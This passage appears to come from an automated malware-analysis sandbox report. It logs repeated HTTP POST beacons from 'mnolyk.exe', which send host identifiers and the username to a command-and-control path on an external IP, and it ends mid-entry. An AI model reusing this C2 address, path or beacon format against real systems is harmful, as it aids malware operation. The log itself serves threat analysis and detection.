Feb 6, 2023 18:37:55.987483978 CET	892	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
433	192.168.2.7	50161	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:56.171482086 CET	893	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:56.235949993 CET	893	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
434	192.168.2.7	50162	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:56.405411005 CET	894	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:56.468453884 CET	894	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
435	192.168.2.7	50163	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:56.641062975 CET	895	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:56.706188917 CET	895	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
436	192.168.2.7	50164	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:56.874762058 CET	896	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:56.938606977 CET	896	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
437	192.168.2.7	50165	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:57.109837055 CET	897	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:57.174860001 CET	897	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
438	192.168.2.7	50166	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:57.344196081 CET	898	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:57.407002926 CET	898	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
439	192.168.2.7	50167	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:57.576210976 CET	899	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:57.640512943 CET	899	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.7	49768	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:08.295558929 CET	476	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:08.361413956 CET	476	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
440	192.168.2.7	50168	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:57.812117100 CET	900	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:57.878155947 CET	900	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
441	192.168.2.7	50169	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:58.055435896 CET	901	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:58.122500896 CET	901	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
442	192.168.2.7	50170	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:58.303704977 CET	902	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:58.366751909 CET	902	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
443	192.168.2.7	50171	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:58.553510904 CET	903	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:58.617981911 CET	903	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
444	192.168.2.7	50172	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:58.795469999 CET	904	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:58.858475924 CET	904	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
445	192.168.2.7	50173	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:59.034323931 CET	905	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:59.099589109 CET	905	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
446	192.168.2.7	50174	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:59.284898043 CET	906	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:59.348211050 CET	906	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
447	192.168.2.7	50175	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:59.517986059 CET	907	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:59.580991983 CET	907	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
448	192.168.2.7	50176	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:59.752747059 CET	908	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:59.817588091 CET	908	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
449	192.168.2.7	50177	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:59.985865116 CET	909	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:00.050785065 CET	909	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.7	49769	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:08.538973093 CET	476	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:08.622246027 CET	477	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
450	192.168.2.7	50178	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:00.218801022 CET	910	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:00.281066895 CET	910	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
451	192.168.2.7	50179	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:00.453202963 CET	911	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:00.517158985 CET	911	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
452	192.168.2.7	50180	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
